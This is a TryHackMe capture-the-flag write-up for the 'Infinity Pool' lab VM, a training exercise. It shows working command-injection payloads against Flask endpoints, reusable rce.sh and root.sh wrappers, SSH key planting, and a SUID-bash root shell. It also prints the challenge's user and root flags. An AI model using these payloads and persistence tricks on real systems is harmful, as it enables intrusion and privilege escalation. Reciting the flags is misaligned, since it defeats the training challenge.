Infinity Pool is a TryHackMe boot2root VM (Byte Lotus Resort "Closed Circuit" surveillance
theme). Behind a public booking site sit three in-house Python/Flask services - an
edge booking front end (user web), a watchtower ops console
(user svc-watch), and an automation job runner (user root)
- plus a stock FreePBX 16.0.45 PBX served by Apache as user asterisk.
The full chain: command injection in the edge site (user flag) -> leaked FreePBX UCP
credentials -> a voicemail Caller ID that hides the automation Bearer token -> a second
command injection in the root-run automation service (root flag).
No visible edge. You trace the network to the horizon and find three systems nobody told you about on the other side.
Byte Lotus Hotel promises a seamless stay powered by modern technology. Sometimes the most interesting systems are the ones guests were never meant to see.
Today's itinerary: Find the user flag. Find the root flag.
None. This is a boot2root-style VM; everything comes from the remote target over the VPN.
A TryHackMe VM behind the VPN. It was redeployed several times during the work (the room hands out a fresh IP each time), so different IPs appear below; the box is identical each time. Externally only two ports are open - SSH and the edge site on port 80:
$ nmap -T5 -p- -sV 10.130.147.113
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu (protocol 2.0)
80/tcp open http gunicorn
The edge site is a small booking front end. It exposes a network self-test at
/status that posts a host to /internal/netcheck:
$ curl -s http://10.130.147.113/status
... a form that POSTs field "host" to /internal/netcheck, rendering ping output ...
Conclusion: gunicorn means a Python/Flask app, not PHP. A user-supplied host that gets fed to a network check is the first thing to test for command injection.
The netcheck endpoint runs a ping against whatever host is submitted. If it builds the
command line by string interpolation and runs it through a shell, a ; in the
host field breaks out into arbitrary commands.
$ curl -s -X POST --data-urlencode "host=127.0.0.1; id" \
http://10.130.147.113/internal/netcheck | sed -e 's/<[^>]*>//g'
... ping output for 127.0.0.1 ...
uid=1001(web) gid=1001(web) groups=1001(web)
Reading the source later (world-readable, the app runs as web) confirms the
bug exactly - subprocess.run(f"ping -c 1 {host}", shell=True, ...):
$ cat /var/www/infinity_pool/edge/app.py
...
@app.route("/internal/netcheck", methods=["POST"])
def netcheck():
host = request.form.get("host", "").strip()
...
proc = subprocess.run(
f"ping -c 1 {host}",
shell=True,
capture_output=True,
text=True,
timeout=15,
)
...
Conclusion: arbitrary command execution as web. The wrapper
rce.sh (section 4) frames each command between markers so only its output is
printed.
A one-shot HTTP command channel is awkward for enumeration. Drop an SSH key into
web's authorized_keys and switch to a real shell. Grab the user
flag on the way.
$ sh rce.sh 'cat /home/web/user.txt'
THM{n0_v1s1bl3_3dg3}
$ ssh-keygen -t ed25519 -f hollow_key -N "" -C hollow
$ PUB=$(cat hollow_key.pub)
$ sh rce.sh "mkdir -p /home/web/.ssh && echo '$PUB' >> /home/web/.ssh/authorized_keys && chmod 700 /home/web/.ssh && chmod 600 /home/web/.ssh/authorized_keys"
$ ssh -i hollow_key web@10.130.147.113 id
uid=1001(web) gid=1001(web) groups=1001(web)
USER_FLAG = THM{n0_v1s1bl3_3dg3}
Conclusion: user flag secured, stable shell as web. Everything below is
the hunt for root.
Only 22 and 80 face outward. From the foothold, list what listens on loopback - that is where the privileged machinery hides.
$ ssh -i hollow_key web@10.130.147.113 'ss -ltnp'
State Local Address:Port ...
LISTEN 0.0.0.0:80 # edge (web) - our RCE
LISTEN 0.0.0.0:22 # sshd
LISTEN 127.0.0.1:3000 # watchtower (svc-watch)
LISTEN 127.0.0.1:9000 # automation (root)
LISTEN 127.0.0.1:8080 # FreePBX / Apache (asterisk)
LISTEN 127.0.0.1:5038 # Asterisk Manager (AMI)
LISTEN 127.0.0.1:8088/8089 # Asterisk ARI
LISTEN 127.0.0.1:3306 # MariaDB
The three in-house services declare themselves. watchtower is an ops console:
$ ssh -i hollow_key web@10.130.147.113 'curl -s http://127.0.0.1:3000/api/config'
{"automation_endpoint":"http://127.0.0.1:9000",
"note":"internal network only -- do not expose",
"ops_note":"UCP still on default template creds (FreePBXUCPTemplateCreator) -- ROTATE.",
"telephony_pass":"St4yN0t1c3d_2026",
"telephony_portal":"http://127.0.0.1:8080/ucp",
"telephony_user":"FreePBXUCPTemplateCreator"}
automation is the interesting one - it runs as root and advertises one gated action:
$ ssh -i hollow_key web@10.130.147.113 'curl -s http://127.0.0.1:9000/health'
{"endpoints":{"GET /health":"service status",
"POST /jobs/export":{"auth":"Authorization: Bearer <automation key>",
"body":{"report":"<report name>"},"desc":"archive the latest data export"}},
"runs_as":"root","service":"automation","status":"ok"}
Conclusion: the root path is POST /jobs/export on the root-owned
automation service, gated by a Bearer key. We need that key - and watchtower dangles a set
of FreePBX UCP credentials whose ops_note says they were never rotated.
The obvious move: use FreePBXUCPTemplateCreator / St4yN0t1c3d_2026.
FreePBX runs as asterisk, so a working login is a real pivot.
First, a false negative worth recording. Scripting the login with curl - fetch
the form, carry the CSRF token and session cookie, POST username/password -
always came back to the login form with an empty "Welcome " and an authenticated ajax poll
returning {"status":"false","message":"forbidden"}:
$ # curl form-POST to /ucp/index.php?display=dashboard (token + session carried)
... still the login page, frm-login present; ajax poll -> {"status":"false","message":"forbidden"}
That made the credentials look like a decoy. They are not. The UCP login button ships
disabled (<button id="btn-login" disabled>Loading...</button>)
and the real login is a JavaScript/AJAX call the raw form-POST never triggers. Driving it
from a browser is what works: forward the loopback port and log in for real.
$ ssh -i hollow_key -L 8080:127.0.0.1:8080 web@10.130.147.113
# then browse http://127.0.0.1:8080/ucp and log in as
# FreePBXUCPTemplateCreator / St4yN0t1c3d_2026 -> dashboard opens
Confirmed against the user-management table (read later, as root): the account is real, and its linked extension is the mailbox that matters in the next step.
# mysql asterisk -N -e "select id,username,description,default_extension from userman_users"
1 FreePBXUCPTemplateCreator Autogenerated user For Template Creation 9919988
Conclusion: the credentials are valid; UCP opens for the "template creator" user,
whose extension is 9919988. The failed curl route is a good
reminder that a JS-gated login is not the same as a form POST.
UCP lets a user add dashboard widgets for their own extension. Per the ExploitNotes writeup, the Voicemail widget is the one to add - the box seeds a voicemail message whose Caller ID carries the automation key.
Adding the Voicemail widget shows one message on mailbox 9919988 with a
telling Caller ID. Reading the same message straight off disk as root confirms exactly what
UCP displays:
# cat /var/spool/asterisk/voicemail/default/9919988/INBOX/msg0000.txt
...
callerid="Automation Key cc_auto_7b3f9a1c4e0d2f6a" <9000>
...
Conclusion: the automation Bearer token is cc_auto_7b3f9a1c4e0d2f6a.
(It is the same value the service loads from its root-only
automation.env - AUTOMATION_TOKEN=cc_auto_7b3f9a1c4e0d2f6a - and
it stayed constant across every redeploy.)
With the token, POST /jobs/export is reachable. The report field
is the archive name - so the question is whether it is sanitised before being built into
the tar command that runs as root.
The automation source (read as root afterwards) shows it is not:
# cat /var/www/infinity_pool/automation/app.py
...
TOKEN = os.environ["AUTOMATION_TOKEN"]
...
report = body.get("report", "")
...
cmd = f"tar czf {EXPORT_DIR}/{report}.tgz {DATA_DIR} 2>&1"
proc = subprocess.run(cmd, shell=True, capture_output=True, text=True)
return jsonify({"command": cmd, "output": proc.stdout + proc.stderr})
report lands in a shell=True string with no escaping. A
; breaks out of the tar command and runs anything as root:
$ ssh -i hollow_key web@10.130.147.113 'curl -s -X POST http://127.0.0.1:9000/jobs/export \
-H "Authorization: Bearer cc_auto_7b3f9a1c4e0d2f6a" \
-H "Content-Type: application/json" \
-d "{\"report\":\"x; id; hostname\"}"'
{"command":"tar czf /var/automation/exports/x; id; hostname.tgz /var/automation/data 2>&1",
"output":"...\nuid=0(root) gid=0(root) groups=0(root)\ntryhackme-2404\n..."}
Read the flag:
$ ssh -i hollow_key web@10.130.147.113 'curl -s -X POST http://127.0.0.1:9000/jobs/export \
-H "Authorization: Bearer cc_auto_7b3f9a1c4e0d2f6a" \
-H "Content-Type: application/json" \
-d "{\"report\":\"x; cat /root/root.txt\"}"'
... "output":"...\nTHM{tr4c3d_t0_th3_h0r1z0n}\n..."
ROOT_FLAG = THM{tr4c3d_t0_th3_h0r1z0n}
Every #-prompt read shown above (the userman_users table in 3.4,
the voicemail message in 3.5, the automation source in 3.6) was taken from a real root
shell, obtained from this same injection - copy bash, set it SUID, run it with
-p. No nested quoting, so it is reproducible as-is:
$ ssh -i hollow_key web@10.130.147.113 'sh -s' < root.sh 'cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash'
$ ssh -i hollow_key web@10.130.147.113 -t '/tmp/rootbash -p'
# id
uid=0(root) gid=0(root) groups=0(root)
Conclusion: root. The same class of bug as the foothold - unsanitised input into a
shell=True command - but this time the service runs as root.
Two lines of attack ate a lot of time before the UCP route landed; they are worth noting so the next person skips them.
automation.env is root:root 640
in a 750 directory - not readable by asterisk or
svc-watch, let alone web. The key genuinely has to come from the
UCP voicemail leak; it is not sitting in any web-readable file, the systemd journal,
cloud-init, or the (self-destructing) badr deploy log. There is also no
Bearer bypass on /jobs/export and no redis job-queue to poison
(redis-server is listed as a dependency but is not installed).endpoint module -> webshell as
asterisk -> root via incron). It does not apply here: the
endpoint module has no files on disk (module=endpoint 500s on
class load), and the incron / sysadmin_manager root sink is not installed
either. The version match is a lure.Conclusion: the intended path is entirely the app chain - edge injection, UCP login, voicemail token leak, automation injection - not a local privesc primitive and not the FreePBX CVE.
The foothold RCE wrapper, rce.sh:
#!/bin/sh
# RCE on Infinity Pool via OS command injection in /internal/netcheck (host param).
# usage: sh rce.sh '<shell command>'
T=http://10.130.147.113
curl -s -m 25 -X POST --data-urlencode "host=127.0.0.1; echo ===M===; $*; echo ===E===" \
"$T/internal/netcheck" \
| sed -e 's/<[^>]*>//g' | awk '/===M===/{f=1;next} /===E===/{f=0} f'
The root step, once the token is known - a single request runs a command as root through
the report injection (run from the box, or over the SSH port-forward):
#!/bin/sh
# Root command execution on Infinity Pool via the automation /jobs/export report injection.
# usage: sh root.sh '<shell command>'
TOK=cc_auto_7b3f9a1c4e0d2f6a
curl -s -X POST http://127.0.0.1:9000/jobs/export \
-H "Authorization: Bearer $TOK" \
-H "Content-Type: application/json" \
-d "{\"report\":\"x; $* #\"}"
$ sh rce.sh 'id; cat /home/web/user.txt'
uid=1001(web) gid=1001(web) groups=1001(web)
THM{n0_v1s1bl3_3dg3}
$ # (after leaking the token via the UCP Voicemail widget)
$ ssh -i hollow_key web@10.130.147.113 'sh -s' < root.sh 'id; cat /root/root.txt'
... "output":"uid=0(root) gid=0(root) groups=0(root)\nTHM{tr4c3d_t0_th3_h0r1z0n}\n..."
USER_FLAG = THM{n0_v1s1bl3_3dg3}
ROOT_FLAG = THM{tr4c3d_t0_th3_h0r1z0n}
| # | Stage | Mechanism |
|---|---|---|
| 1 | Foothold (user) | OS command injection in the edge site: /internal/netcheck runs
subprocess.run(f"ping -c 1 {host}", shell=True) on an unsanitised
host - a ; yields RCE as web. User flag from
/home/web/user.txt. |
| 2 | Credential leak | watchtower's /api/config (loopback, svc-watch) prints the un-rotated
FreePBX UCP credentials FreePBXUCPTemplateCreator /
St4yN0t1c3d_2026. |
| 3 | UCP login | Log in to FreePBX UCP in a browser over an SSH port-forward (the login is JS/AJAX, not
a plain form POST). The account's extension is 9919988. |
| 4 | Token leak | Add a Voicemail widget: mailbox 9919988 holds a seeded message whose Caller ID is
"Automation Key cc_auto_7b3f9a1c4e0d2f6a" <9000> - the root
automation Bearer token. |
| 5 | Root | The token authenticates to the root-run automation service. Its
POST /jobs/export builds tar czf .../{report}.tgz ... with
shell=True; an unsanitised report is a second command
injection - this one as root. Root flag from /root/root.txt. |
Credit: the last stretch of this box - that the leaked FreePBX credentials really do work, and that a UCP Voicemail widget is what surfaces the automation token - came from ExploitNotes' writeup, TryHackMe Infinity Pool Writeup. We had the whole architecture mapped and were stuck on exactly that step; their note unblocked it. Every fact above was then re-verified first-hand on our own instance.